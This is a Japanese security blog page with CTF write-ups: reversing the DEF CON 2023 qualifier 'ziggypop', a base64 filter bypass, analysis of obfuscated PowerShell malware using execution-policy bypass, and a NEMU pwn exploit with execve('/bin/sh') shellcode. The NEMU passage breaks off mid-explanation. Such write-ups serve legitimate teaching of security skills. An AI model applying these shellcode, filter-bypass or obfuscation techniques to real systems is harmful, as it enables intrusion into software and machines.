Wednesday, June 14, 2023

DEF CON CTF Qualifier 2023: ziggypop

 著者:ptr-yudai(@ptrYudai)

はじめに

 5月27日から29日にかけて、世界最大のハッキングコンテストDEF CONの予選CTFが開催されました。48時間の制限時間で、世界中から参加した535チームのうち、上位11チームのみが決勝に進めるという、去年よりもさらに厳しい競技となりました。

 リチェルカセキュリティの社員・アルバイトには、現役でCTFに取り組んでいるメンバーが多数在籍しています。CTFは多種多様な前提、制約、技術領域に触れる機会になり、業務の実行能力向上にも繋がります。そこで、去年に引き続き、会社としてDEF CONに挑戦することにしました。

 弊社にはTokyoWesternsやbinjaなどをはじめとして、複数の強豪チームのメンバーが在籍しています。今回も、各チームのメンバーにも協力をいただき、合同チーム「undef1ned」として出場しました。

 

競技中の食事やお菓子も支援してもらいました


  結果、今年は世界中から500を超えるチームが参加し、我々は世界11位(日本国内1位)で決勝へと歩を進めることができました🎉

昨年より厳しい条件の中、無事予選を突破
 

ziggypop

今年も数多くの難問が出題されました。この記事では、その中でも点数が高かった「ziggypop」という問題のwriteupを公開しようと思います。

この問題は、Zig言語で作られたサーバーを解析するReversingの問題です。弊社では過去にさまざまな言語でさまざまなアーキテクチャ向けに作られたバイナリを解析した経験があります。特に著者のptr-yudaiは過去にZig言語製のプログラムを解析した経験があったため、この問題に取り組み始めました。参加した弊社メンバーからは、アルバイトのkeymoonさん、moratorium08さん、そして正社員のptr-yudaiがこの問題に主に取り組みました。

問題概要

この問題ではmainという名前のx86-64向けのELFファイルが配布されます。

$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped

エントリーポイントの関数のControl Flow Graphを見ると、次のようにぐちゃぐちゃな見た目をしています。

エントリーポイントのCFG

これだけでなく、他にも呼ばれている関数がたくさんありますが、根気よく1つずつ解析していきましょう。

プログラムの実行

まず、straceで挙動を調べると、プログラムはサーバーとして接続を待ち受けていることがわかります。

$ strace ./main 
execve("./main", ["./main"], 0x7ffca46f9820 /* 72 vars */) = 0
arch_prctl(ARCH_SET_FS, 0x7fc5e4bdd028) = 0
prlimit64(0, RLIMIT_STACK, {rlim_cur=16384*1024, rlim_max=16384*1024}, NULL) = 0
socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(8675), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 128)                          = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(8675), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc5e4bdb000
accept4(3,

しかし、ncで接続してもすぐにクラッシュしてしまいます。

[ 4349.293387] traps: main[11844] trap invalid opcode ip:7fc307edc016 sp:7ffd8fc922b8 error:0 in main[7fc307ed1000+c000]

gdbで見ると次の箇所で停止します。

pwndbg> x/4i 0x7ffff7ff8016
=> 0x7ffff7ff8016:      vprold xmm2,xmm1,0x18
   0x7ffff7ff801d:      vprold xmm3,xmm4,0x9
   0x7ffff7ff8024:      vpand  xmm1,xmm2,xmm3
   0x7ffff7ff8028:      vpslld xmm1,xmm1,0x3

実は今回のプログラムはIntelのAVX-512という拡張命令セットを利用しています。残念ながら、私のマシンは一部の命令に対応していなかったため、Illegal Instructionでプログラムが落ちてしまいました。

アルバイトの方のマシンでは正常に動作することが終盤でわかりましたが、いずれにせよ動作確認のたびに他の人に実行を依頼していては埒が明きません。まずは自分のマシンで動作させる方法を考えました。

まっさきに思いついたのが**Intel SDE**(Software Development Emulator)です。SDEは名前の通りエミュレータで、Intel命令セットのプログラムをエミュレートしてくれます。内部的にはIntel PINを使っており、新しい命令セットの再現や実行トレースの取得もできます。

$ ./sde64 -skx -- ./main

上記コマンドではSkylake server CPUを選択して実行しました。ncで接続してみます。

$ nc localhost 8675 | hexdump -C
00000000  c2 9f f0 76 3b ab b9 8f  a6 19 ef f0 76 a6 d2 e1  |...v;.......v...|
00000010  cb 1d 48 b1 fc a0 f1 89  f4 0f 0b be 50 d1 f6 73  |..H.........P..s|

応答がありました!これで無事プログラムを実行できます。

プログラムの動的解析

実行はできましたが、SDEの上で動いているため、このままではgdbでデバッグできません。SDEにはgdbでアタッチできる機能もありますが、非常に動作が遅いため、なるべく避けて通りたいです。

今回問題を解き進める上で、「ある時点でのメモリとレジスタの状態を確認したい」という需要がありました。ステップ実行のような贅沢な機能は諦めても、最低限ブレークポイントが必要であると判断しました。

そこで、Intel PINの性質を使って簡易的なブレークポイントを再現することにしました。PINは命令をフェッチし、トレース単位でJITコンパイルします。これにより、例えばさきほどクラッシュを引き起こしていた vprold 命令は、実行中のCPUがサポートする別の命令列に置き換えられます。実行可能な命令は通常そのままの形で登場するため、使われるレジスタも同じになります。

したがって、実行を停止したい箇所に、中身を知りたいレジスタを使ってSIGSEGVを引き起こす命令を設置すれば、そのレジスタの状態を持ったままクラッシュします。競技中はこのクラッシュによる停止を使ってデバッグしました。CTFのように速さが求められる作業では、このように雑でも使える方法が解析に役立ちます。

次のコードはアドレス0x36dcでプログラムを停止させ、 rsp の値を調べる際に使ったパッチです。

from ptrlib import *

data = assemble("xor eax, eax; mov [rax], rsp;")
addr = 0x36dc

with open("./main", "rb") as f:
    buf = f.read()

buf = buf[:addr-0x1000] + data + buf[addr-0x1000+len(data):]

with open("./patched", "wb") as f:
    f.write(buf)

import os
os.system("chmod +x patched")

プログラムの静的解析

ここからが最も重たい部分です。プログラムの処理を解析して、フラグを手に入れる方法を調べましょう。

すでに対象プログラムがfork型サーバーとして動作していることを知っているので、 accept fork の後の処理を探します。まず accept が一箇所あるので、その周辺を調べます。

接続を受け付けるコードの周辺

accept の後には sub_401B が呼ばれていますが、これは明らかに fork です。

接続を受け付けるとforkする

Zig製のバイナリを読んでいるとすぐに気づきますが、下図のように、Zigの変数はポインタとサイズの組で表現されます。

Zigにおけるメモリ上での変数の表現


例えば以下の関数 sub_3FFE を見てみましょう。

Zigの変数を引数に取る関数呼び出しの例

中身は次のようになっています。 v2 には第二引数の変数サイズが入るので、第一引数の変数バッファに第二引数の変数バッファをコピーしていることが分かります。

Zigの変数を扱う関数の例


このように、まずは対象の言語が変数や定数をメモリ上でどのように表現しているかや、関数の呼び出し規約などを知っておくことで、解析しやすくなります。

さて、しばらく読み進めると sub_9EB6 ( sub_AC54 のラッパ)と sub_9EBB ( sub_AAD5 のラッパ)という2つの関数が登場します。内部ではシステムコールが呼ばれています。 sub_9EB6 はrax=1なので write 、 sub_9EBB は read であることが分かります。

write関数

read関数


ncで接続したときに毎回ランダムな32バイトの値が出力されていました。これがこの write 呼び出しに該当すると思われます。このデータの意味がわかるまでは、この32バイトの値を乱数Xと呼ぶことにします。

ncで表示される乱数を出力している箇所

IDAはSIMD命令に弱いので上図のような残念なデコンパイル結果になっていますが、読んでいきましょう。デコンパイル結果中の変数はほとんど意味のないものになっているため、適宜アセンブリコードと比較しながら読み進めます。

さて、乱数Xの出力サイズは0x20バイト固定で、データポインタは rsp+0x400 から来ています。このデータの元をたどると、非常に煩雑なコードを経て生成されているデータであることが分かります。特に序盤では sub_4159 がひどく、とてもではありませんが読めるような見た目をしていません。

人間が読むには複雑なコードが出力されている

 一番最初に乱数Xが使われる箇所は sub_4057 です。この関数の中では0x20バイトの乱数が生成されます。乱数は sub_CD1A で作られ、ここでは getrandom システムコールを使って安全な乱数を生成しています。

乱数Xのソースはgetrandomシステムコール

生成される乱数と送られる乱数Xは異なるものなので、 sub_4057 で作られた乱数を sub_4159 や write 前のSIMD命令などを通して変形してから送信しているものと思われます。これらの関数を読むのは大変なので、一度後回しにして入力 read 以降を読み進めていきましょう。

read では32バイトのデータを入力します。このデータに対してたくさんのSIMD命令を適用した後、次の条件分岐があります。条件が成立しないとプログラムは終了します。したがって、最初の関門はここを通過できる入力を探すことです。

最初の入力をチェックする箇所


どうやらこれまで無視してきていたSIMD命令や、複雑な関数を調べる必要がありそうです。

Reversingにおいて複雑な関数を調査するとき、まずは既存のコードを調べるのが好手になりやすいです。今回はまず、比較的簡単な見た目をしている sub_0D7F を調べることにしました。

特徴的な定数から該当するアルゴリズムを調べる

図のように、 bzhi 命令(レジスタの特定のビットより上位を取り出す命令)を多用しています。また、途中で51ビットのシフトがたくさん登場することや、0x7FFFFFFFFFFEDという値を足していることも特徴的です。そこで、「51 0x7FFFFFFFFFFED」で検索すると、 boringssl というリポジトリの curve25519_64.h がヒットします。

https://boringssl.googlesource.com/boringssl/+/master/third_party/fiat/curve25519_64.h

static FIAT_25519_FIAT_INLINE void fiat_25519_subborrowx_u51(uint64_t* out1, fiat_25519_uint1* out2, fiat_25519_uint1 arg1, uint64_t arg2, uint64_t arg3) {
  int64_t x1;
  fiat_25519_int1 x2;
  uint64_t x3;
  x1 = ((int64_t)(arg2 - (int64_t)arg1) - (int64_t)arg3);
  x2 = (fiat_25519_int1)(x1 >> 51);
  x3 = (x1 & UINT64_C(0x7ffffffffffff));
  *out1 = x3;
  *out2 = (fiat_25519_uint1)(0x0 - x2);
}
...
  fiat_25519_subborrowx_u51(&x1, &x2, 0x0, (arg1[0]), UINT64_C(0x7ffffffffffed));
  fiat_25519_subborrowx_u51(&x3, &x4, x2, (arg1[1]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x5, &x6, x4, (arg1[2]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x7, &x8, x6, (arg1[3]), UINT64_C(0x7ffffffffffff));
  fiat_25519_subborrowx_u51(&x9, &x10, x8, (arg1[4]), UINT64_C(0x7ffffffffffff));

 sub_0D7F にかなり近い見た目をしています!つまり、これまでわからなかった謎のSIMD命令は、楕円曲線演算に関わる命令なのではないかと予測できます。

ZigでCurve25519を扱うライブラリを探すと、標準ライブラリがありました。

https://github.com/ziglang/zig/blob/master/lib/std/crypto/25519/curve25519.zig

このコードと機械語を照らし合わせることで、点のスカラー倍やバイト列へのエクスポートなど、これまで無視してきた関数の中身がわかりはじめました。

ここまで判明している内容を擬似コードに落とすと、次のようになります。

  u8 secret[0x20], Q_bytes[0x20];
  GetRandom(secret, 0x20);
  Curve25519 P;
  P = secret * G; // Gは固定のベースポイント

  // PA=sA*Gを送ってPB=sB*Gを受け取る
  write(sock, P.toBytes(), 0x20);
  read(sock, Q_bytes, 0x20);
  Curve25519 Q(Q_bytes);

  // 共有鍵
  Curve25519 abG = secret * Q;
  assert (abG.limbs[0] & 0xffff000000 == 0xc0aa000000);

楕円曲線Diffie-Hellman鍵共有を実装していますが、こちらから送る点は特徴的な点でないと受け付けてくれません。 limbs はCurve25519における点の圧縮表現で、この最初のデータの上位16ビットを0xc0aaと比較しています。数学的な意味があるのかはわかりませんが、16ビットなので適当な点を生成して、条件を満たすものを選択すれば総当りでも良さそうです。

PA = sock.recvonce(0x20)
print(PA)
while True:
    sB = random_int(1, (1<<256)-1)
    abG = mul_P(sB, PA)
    if (to_x(abG)[0] & 0xffff000000) == 0xc0aa000000:
        logger.info(f"Found valid secret: 0x{sB:x}")
        break
PB = mul_G(sB)
sock.send(PB) # sB * G
logger.info("PB: " + PB.hex())
logger.info("abG: " + abG.hex())

これで条件を満たす点を渡し、鍵共有に成功しました。

では、続きを読んでいきましょう。

ECDH鍵共有成功後のコード

また新しい関数が登場しました。今度は点15のバイト表現を受け取って処理をしていますが、該当する関数はZigのCurve25519には見つかりません。

これらの関数も複雑なロジックなので、マジックナンバーやCFGの形などを元に調査してみます。まずは一番多く呼ばれている sub_A016 を調べてみます。中では次のような複雑な関数を呼んでいます。

特徴的な定数から該当するアルゴリズムを調べる その2

登場する数値の1つとして「0x428A2F98」を選んで検索してみると、SHA-256がヒットします。はじめは単にSHA-256を計算しているのかと思いましたが、ところどころ説明のつかない機械語が登場します。同様の値が使われるBLAKE系のハッシュも調査しましたが、ここでしばらく考えました。

しばらくすると、チームメンバーからSHA-256をHMACとして使っているのではないかという予想が挙がりました。上記ハッシュの後に、次のようなループ処理があります。

 

PBKDF2にみられるループ

暗号に強いメンバーからPBKDF2に見えるという意見があり、実際にコードを見てもかなり近い見た目をしていることがわかります。

https://github.com/ziglang/zig/blob/ab37ab33ce94b4fb6536bcc2f3981c0cc257c9f0/lib/std/crypto/pbkdf2.zig#L134

徐々にPBKDF2-SHA256であることが明らかになってきました。ループ中に登場する

3 * v139 + 21

という計算が本来存在しない処理なので疑問でしたが、暗号要員にそこだけ追加して再現してもらうと、デバッグ時と値が一致することが判明しました。

ここまでで、楕円曲線DH鍵共有で共有した点をバイト表現としてPBKDF2に渡し、その結果を共通鍵として利用していることが分かりました。新たに判明した場所の疑似コードは次のようになります。

  // PBKDF2-SHA256の改造版
  SHA256 ctx = Prf.init(abG.toBytes()); /* rsp+0x1900 */
  ctx.update(abG);
  ctx.update(0x10000000.toBytes("big endian"));
  ctx.final(prev_block);
  dk_block = prev_block; // memory copy

  for (int rounds = 1; rounds < 1000; rounds++) {
    SHA256 ctx2 = Prf.init(abG.toBytes()); /* rsp+0x700 */
    ctx2.update(prev_block);
    ctx2.final(secret);
    prev_block = new_block; // memory copy

    u32 val = 0;
    for (int j = 0; j < 32; j++) {
      dk_block[j] ^= prev_block[j];
      val = rounds + ((3 * prev_block[j] + 21) ^ val) % 0xffffff;
    }
  }

ここまで解析してもまだフラグが見えませんが、次が最後の山場です。

まず、0x18バイトのデータと、0x110バイトのデータを受け付けます。

最後のユーザー入力

少し読み飛ばすと、次のようにフラグを開いている箇所が見つかります。
 

 

フラグと思われるファイルを開いている箇所

さらに続いて write が呼ばれていることから、送ったデータの正当性を検証してフラグを出力するか、送ったデータに基づいてフラグを暗号化して出力するか、フラグに関するデータを出力する処理があると考えられます。

ここで登場する処理も新しい関数なので、調査していきましょう。例えば sub_A329 を見ると、次のように計算処理があります。XORが多いことから、数値計算というよりハッシュ関数や暗号のような計算に見えます。

ハッシュ関数や暗号アルゴリズムのようなアセンブリ

 この関数の冒頭では sub_AECC を呼び出しており、そこでは xmmword_BC0 が参照されています。このアドレスは定数領域で、次のようなデータが入っています。

特徴的な定数から該当するアルゴリズムを調べる その3

 
この値はASCIIで expand 32-byte k であり、ChaChaやSalsa20で使われるマジックナンバーです。アセンブリとZigの実装を読み比べると、XSalsa20に近いことが判明しました。さらに、CFGの形やZigの変数の呼び出し規約などと照らし合わせると、XSalsa20Poly1305と酷似していることがわかります。

したがって、鍵共有後の最初の read で0x18バイトのnonceを受け取っていたことになります。Salsaの鍵としてPBKDF2-SHA256で共有した鍵が使われます。もう1つの read で送った0x110バイトのうち、最初の0x10バイトはtagを表しており、残りの0x100バイトがデータを復号します。復号した結果は次の箇所で使われています。

復号結果の検証コード

復号結果の最初のバイトが0x02かどうかを確認しています。楕円曲線の点のチェックもそうでしたが、意味のあるチェックというより、プログラムを理解しているかのためのチェックのようです。ここまでを疑似コードで表してみます。

read(sock, nonce, 0x18);
read(sock, nazo2, 0x110);

u8 data[0x40];
MemoryCopy(data, b"\\x00"*0x20 + nazo2[0x10:0x30]);

XSalsa20Poly1305 s = XSalsa20Poly1305(dk, nonce);
data = s.decrypt(data, nazo2[0:0x10], "", nonce, dk);
assert (data[0] == 2);

上記のチェックを完了したら、フラグがXSalsa20Poly1305で暗号化されて送られてきます。その後に入力と同じ形式で、nonceとtag, 暗号文が送られてきます。

 

暗号化したフラグの送信コード


疑似コードで表すと次のようになります。

u8 flag[0x100];
int fd = open("flag.txt", O_RDONLY);
read(fd, flag, 0x100);
close(fd);

u8 rnd[0x18];
GetRandom(rnd, 0x18);
XSalsa20Poly1305 s = XSalsa20Poly1305(dk, rnd);
data, tag = s.encrypt(data, "", rnd, dk);

write(sock, rnd, 0x18);
write(sock, tag + data, 0x110);

鍵は共有した鍵が使われているので、ここまでの情報で復号できます。

shared_key = abG
kd = pbkdf2_modified(shared_key, shared_key, 1000)
logger.info("kd: " + kd.hex())

dummy_tag = b'\\x00' * 0x10
while True:
    nonce = os.urandom(0x18)
    msg = os.urandom(0x100)
    m = decrypt(msg, dummy_tag, nonce, kd) # XSalsa20Poly1305
    if m[0] == 2:
        c, tag = encrypt(m, nonce, kd)
        logger.info("  c: " + c.hex())
        logger.info("  m: " + m.hex())
        logger.info("tag: " + tag.hex())
        break

sock.send(nonce)
sock.send(craft_msg(tag, msg))
time.sleep(5)
print("sorosoro...")
nonce = sock.recvonce(0x18)
logger.info("nonce: " + nonce.hex())
tag = sock.recvonce(0x10)
enc = sock.recvonce(0x100)
logger.info("tag: " + tag.hex())
logger.info("enc: " + enc.hex())

flag = decrypt(enc, tag, nonce, kd) # XSalsa20Poly1305
print(flag)

おわりに

 長いwriteupになってしまいましたが、競技中も取り組み始めてからフラグが出るまでに17時間をかけて解きました。(LiveCTFや他の問題も担当していたため17時間ずっとこの問題に取り組んでいたわけではありませんが、著者が一番時間を割いた問題であることは間違いありません。)楕円曲線DH鍵共有、PBKDF2、SHA256、XSalsa20Poly1305と、さまざまな暗号やハッシュ関数が詰め込まれており、それらをZigでコンパイルされたコードとして読む必要があるため非常に大変な問題でした。

 CTF・業務問わず、リバースエンジニアリングという作業は解析者の技術だけでなく、根気も重要になってきます。長時間の解析は体力が物を言うので、今回のDEF CON CTFを通してリバースエンジニアリング能力の向上をまた1つ実感できました。

 また、今回の問題は暗号やマイナー言語に強いチームメンバーの力も借りて解くことができ、協力して初めて解ける問題はチーム戦ならではの醍醐味だと感じました。

 決勝大会は今年もラスベガスで開催されます。リチェルカセキュリティでは、今回参加してくださった社員・アルバイトの方が決勝大会やDEF CONカンファレンスに参加できるよう、旅費を支援する予定です。

今年もDEF CON CTFに参加してくださった社員、アルバイトの方々、そして協力してくださったチームのメンバーの方々、ありがとうございました!決勝でお会いしましょう👋

Thursday, June 1, 2023

Ricerca CTF 2023 作問者Writeup [Misc, Forensics編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はMiscおよびForensicsカテゴリの問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

 また、他のジャンルのWriteupは以下の投稿から読むことができます。

[Misc] gatekeeper

問題・Writeup著者:arata-nvm

概要

以下のプログラムがサーバーで実行されています。

import subprocess

def base64_decode(s: str) -> bytes:
  proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True)
  if proc.returncode != 0:
    return ''
  return proc.stdout

if __name__ == '__main__':
  password = input('password: ')

  if password.startswith('b3BlbiBzZXNhbWUh'):
    exit(':(')

  if base64_decode(password) == b'open sesame!':
    print(open('/flag.txt', 'r').read())
  else:
    print('Wrong')

このプログラムは入力された文字列をbase64でデコードし、その結果がopen sesame!と等しいときにフラグを表示します。ただし、b3BlbiBzZXNhbWUh(open sesame!をbase64でエンコードしたもの)が入力された場合は即座にプログラムを停止します。

解法

まず、base64のデコード処理にbase64コマンドが使用されていることに注目します。Pythonの標準ライブラリにはbase64モジュールがあるため、わざわざ外部コマンドを呼び出しているのは不自然です。

そこでbase64コマンドの実装を調査すると、パディング文字=の後の文字列もデコードされることがわかります。この仕様を利用すればb3BlbiBzZXNhbWUhのフィルターに引っかからず、かつopen sesame!としてデコードされるような文字列を作れそうです。

そのような文字列の1つの例としては、oとpen sesame!を分割してbase64でエンコードし、再び結合したものが考えられます。実際、以下の実行結果からその文字列がopen sesame!とデコードされることがわかります。

$ echo -n 'o' | base64
bw==
$ echo -n 'pen sesame!' | base64
cGVuIHNlc2FtZSE=
$ echo 'bw==cGVuIHNlc2FtZSE=' | base64 -d 
open sesame!

したがって、bw==cGVuIHNlc2FtZSE=を入力するとフラグが得られます。

$ nc gatekeeper.2023.ricercactf.com 10005
password: bw==cGVuIHNlc2FtZSE=
RicSec{...}

[Forensics] My name is Power!

問題・Writeup著者:pinksawtooth

問題概要

 この問題はWindowsメモリフォレンジックの問題です。マルウェアが実行されたと思われるマシンのメモリダンプが与えられます。マルウェアを抽出して、どのような挙動をするかを解析するまでの一連の能力が問われます。

Step1: メモリの調査

memory.rawをvolatility3で解析します。 まずはwinfows.infoでメモリの情報を確認します。

次に、pstreeで動作しているプロセスを確認します。 explorer.exeの下にcmd.exeから実行されたpowershell.exeが存在します。


 cmdlineコマンドでそれぞれのコマンドライン引数を確認します。 powershell.exeの引数にbase64された長い文字列が存在するため、不審であると判断できます。

Step2: PowerShellのデコード

Stage1

オプションから以下の通り、execute policyをバイパスしてbase64でエンコードしたコマンドを実行していることがわかります。

pOwERsHEll  -eP bYpASs -e

メインの処理と予想される引数を、base64でデコードしましょう。デコード結果は以下になります。

PowerShellの文字列を実行するIEXを用いて、難読化しているようです。ここから難読化処理を解除します。
今回はCTFの問題で危険な処理は入っていないと予想できるので、IEXを削除した部分をPowerShell上で実行し、本来実行される文字列のみを取得しましょう。なお、実際の検体を解析する際は、かならずVMやWindows Sandboxなどの隔離された環境で実行しましょう。
今回は先頭の& ( $PsHOme[4]+$psHoME[34]+'X')がIEX部分になるので、除去して実行した結果が以下になります。

再度IEXによる難読化が行われているようなので、同様にIEXを削除し、文字列を取得します。 先頭の . ( $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN'')がIEX部分になります。

実行した結果は以下となります。 


先頭のif ($env:COMPUTERNAME -eq "RICSEC") {によって、コンピュータ名がRICSECの場合のみ実行されるようになっているため、この部分を削除します。 さらに、今回は末尾にIEXがあるようなのでifの閉じ括弧とあわせて| &( $SheLLID[1]+$SheLliD[13]+'x')};も同時に削除します。 これらを取り除いたコードを実行した結果は以下になります。

 


さらに末尾の|.( $enV:cOMsPEC[4,15,25]-JOiN'')で実行しているようです。 こちらも除去し、実行します。


 読みやすいコードが出現しました。 先頭のif((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {によって、日時が4/1の場合のみ実行されるようなので、最後尾の};も含め除去します。 残りのスクリプトは文字列操作が読み取れるので、;で区切り適宜実行しながら復元すると以下になります。

 


flagと思われるHKCU:\Software\Microsoft\CTFのfiendからデータを読み込み、文字列f1bb3rとXORを行った後に、AESで暗号化して元のレジストリにデータを書き戻していることがわかります。 ただし、AESの暗号鍵となるSHA256ハッシュに渡している文字列がf1bb3rを各文字に分解した後の10進数スペース区切りの文字列102 49 98 98 51 114である点に注意が必要です(powershellの難読化スクリプトを流用する場合は意識する必要はありません)。 IVは0..15なので\x00..\x0fまでのバイト列であることもわかります。 つまりこの逆操作を行えばよいだけとなります。

書き戻されているはずの、暗号化されたデータをprintkeyで確認しましょう。


\x39\xda\x2a\x85\xc9\x5b\x42\x17\x84\x11\xd8\x23\x3b\x0b\xf2\x0e\x26\x8c\x95\x89\xff\xe6\xf1\x7e\x4b\xf8\x43\x42\xd0\x24\x37\x70とわかりました。復号スクリプトを書きましょう。

import hashlib
from Crypto.Cipher import AES

c = b"\x39\xda\x2a\x85\xc9\x5b\x42\x17\x84\x11\xd8\x23\x3b\x0b\xf2\x0e\x26\x8c\x95\x89\xff\xe6\xf1\x7e\x4b\xf8\x43\x42\xd0\x24\x37\x70"

key = hashlib.sha256(b"102 49 98 98 51 114").digest()
iv = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
aes = AES.new(key, AES.MODE_CBC, iv)
c = aes.decrypt(c)

k = "f1bb3r"
flag = ""
for i in range(len(c)):
    flag += chr(c[i] ^ ord(k[i % 6]))
    if "}" in flag:
        break

print(flag)

実行します。

$ python solver.py
RicSec{6r347_90w3r!}

flagが得られました。

Ricerca CTF 2023 作問者Writeup [Pwn編]

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はPwnカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

NEMU

Writeup著者:keymoon

問題概要

独自アーキテクチャの VM が実装されたファイルが渡されます。命令は以下の 6 つしか存在していません。

Welcome to NEMU!
We now only have following 6 instructions:
     1) LOAD [imm]: Load value [imm] into ACC register
     2) MOV  [reg]: Copy data stored in AC register into [reg] register
     3) INC  [reg]: Increment the value stored in [reg] register
     4) DBL  [reg]: Double the value stored in [reg] register
     5) ADDI [imm]: Add value [imm] to the value of ACC register
     6) ADD  [reg]: Add value stored in [reg] register to the value of ACC register

また、レジスタはアキュムレータと汎用レジスタ 3 つのみが 32 bit レジスタとして存在しています。

特筆すべきこととして、多態性を表現するために nested function と呼ばれる GCC 拡張の文法を用いてる点が挙げられます。

switch (readint()) {
  case 1: {
    void load(uint64_t imm) { a = imm; }
    op_fp = load;
    read_fp = readimm;
    break;
  }
...
  case 6: {
    void add(uint64_t* reg) { a += *reg; }
    op_fp = add;
    read_fp = readreg;
    break;
  }
  default:
    exit(1);
}
printf("operand: ");
((void (*)(uint64_t))op_fp)(((uint64_t(*)())read_fp)());

解法

問題の観察

まず、配布された chall ファイルのセキュリティ機構を確認してみましょう。checksec コマンドを用いて確認すると、以下のとおりであると確認できます。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

PIE や RELRO といった CTF でよく無効化されるセキュリティ機構は有効化されているようですが、一つ特筆すべきことがあります。それは、このバイナリには RWX セグメントが存在しているということです。

RWX セグメントとは、書き込み可能でかつ実行も可能なセグメント(メモリ領域)のことを指します。これは、現在の x86-64 バイナリでは特別な理由なく用いられることはありません。

このようになっている理由の一つとして、不用意に RWX セグメントを用いることはセキュリティ的に脆弱であることが挙げられます。もしもプログラムに脆弱性があり、意図された範囲外のデータを書き換えられたとしましょう。これを用いて RWX セグメント内の機械語を書き換えると、その機械語が呼ばれるタイミングでプログラムの挙動を攻撃者に乗っ取られてしまうことになります。他にも、Shellcode を用いた攻撃の起点となるなどの問題も挙げられます。

nested function と RWX セグメント

では、どうしてこのプログラムには RWX セグメントが存在しているのでしょうか。それは、この問題で用いられている機能である nested function を実現する際の都合によるものです。

例えば、以下のようなプログラムを考えてみましょう。このプログラムでは、入力したメッセージをそのまま出力することが期待されます。

#include <stdio.h>
void f(void (*fun)(void)) {
    fun();
}

int main() {
    char msg[10];
    scanf("%9s", msg);
    void printmsg() {
        puts(msg);
    }
    f(printmsg);
}

しかし、関数fに直接printmsg関数のポインタを渡した場合、msgという変数をどこから取得すればよいかが分からなくなってしまいます。

そこで、printmsg関数が宣言された箇所のスタックポインタの値をr10レジスタに格納し、その後にprintmsg関数を呼び出すトランポリン関数を関数fに渡す関数として内部的に生成しています。


この関数がstack上に生成されることが、stack が実行可能であった理由です。

脆弱性

この問題の脆弱性は、mov や inc といった操作でレジスタ変数が 64 bit として扱われていることにあります。この脆弱性がある関数は、以下の 4 関数です。

void mov(uint64_t* reg) { *reg = a; }
void inc(uint64_t* reg) { *reg += 1; }
void dbl(uint64_t* reg) { *reg *= 2; }
void add(uint64_t* reg) { a += *reg; }

これらの関数を用いて reg ポインタの先の値を任意の 64 bit の値に設定することができれば、レジスタ変数の後ろ 32 bit を任意の値に書き換えることができることになります。これは、dbl関数を用いることで実現することができます。

では、書き換えられる値は何の値なのでしょうか?結論から言ってしまうと、この値は add 関数のトランポリン関数の先頭の機械語です。よって、これを書き換えてからadd関数を呼ぶことで任意の 32 bit = 4 byte を Shellcode として実行させることができることが分かります。

Exploit

上で発見した脆弱性を用いて、shellcode を実行してみましょう。まず、4 byte ではあまりにも短すぎるので、まず stack 上で書き込むことができる他の領域にジャンプする命令を書きます。ジャンプ範囲が符号付き byte に収まるショートジャンプであれば eb xxの 2 byte で表すことができるので、これが実現できそうです。

ジャンプ先としては、レジスタ変数が密集している箇所が理想的でしょう。ここであれば、4 byte * 4=16 byte の値を自由にコントロールすることができます。

次に、この 16 byte を用いて shellcode を書きます。execve(”/bin/sh”)を行うshellcode は以下のような処理を行えば良いです。

mov rax, 59; syscall 番号 (sys_execve)
mov rdi, (/bin/sh のアドレス); 第1引数(filename)
mov rsi, 0; 第2引数(argv)
mov rdx, 0; 第3引数(envp)
syscall;

これを実現する方法はいくつかありますが、ここでは 2 種類の方針を紹介します。

方針1: 短い shellcode を書く

シンプルな分かりやすい方針ですが、16 byte という制限があるために見た目よりも難しい方針です。まず、add 関数が呼ばれた際のレジスタの値を確認してみましょう。add(a) という命令を実行した際の値を確認すると、以下のようになっています。

rax  0x7ffd372ac670
rdi  0x7ffd372ac670
rsi  0x0
rdx  0x0

これを見ると分かるように、rsi とrdxは既に 0 になっているために調整する必要がありません。また、rdiはaレジスタの変数を指しています。これは、add関数への第一引数としてaレジスタの変数へのポインタを渡しているためです。

よって、rdiは/bin/sh\x00 と解釈できる値をレジスタに格納した後、そのレジスタをaddの引数として渡すことで調整することができます。なお、ここでレジスタを 8 byte 消費してしまったため、使用できる byte 数は 16 byte-8 byte=8 byte となります。

これで、raxのポインタのみを調整すればよいことになりました。素直にmov rax, 59; と書くと 7 byte も使用してしまうので、ここでは push 59; pop rax のようにして 3 byte で処理を実現します。これとsyscallの 2 byte を合わせて、以下のような 5 byte で Shellcode を実現することができます。

6a 3b  push   0x3b
58     pop    eax
0f 05  syscall

方針2: stager を書く

stager とは、より長いペイロードを読み込むための短いコードのことです。今回は、以下のようなstagerを書くことを目標とします。

mov rax, 0; syscall 番号 (sys_read)
mov rdi, 0; 第1引数(fd)
mov rsi, (ペイロードを読み込むアドレス); 第2引数(buf)
mov rdx, (大きな値); 第3引数(count)
syscall;

これも素直に書くと 16 byte を優に超えてしまうので、短くするための工夫をします。

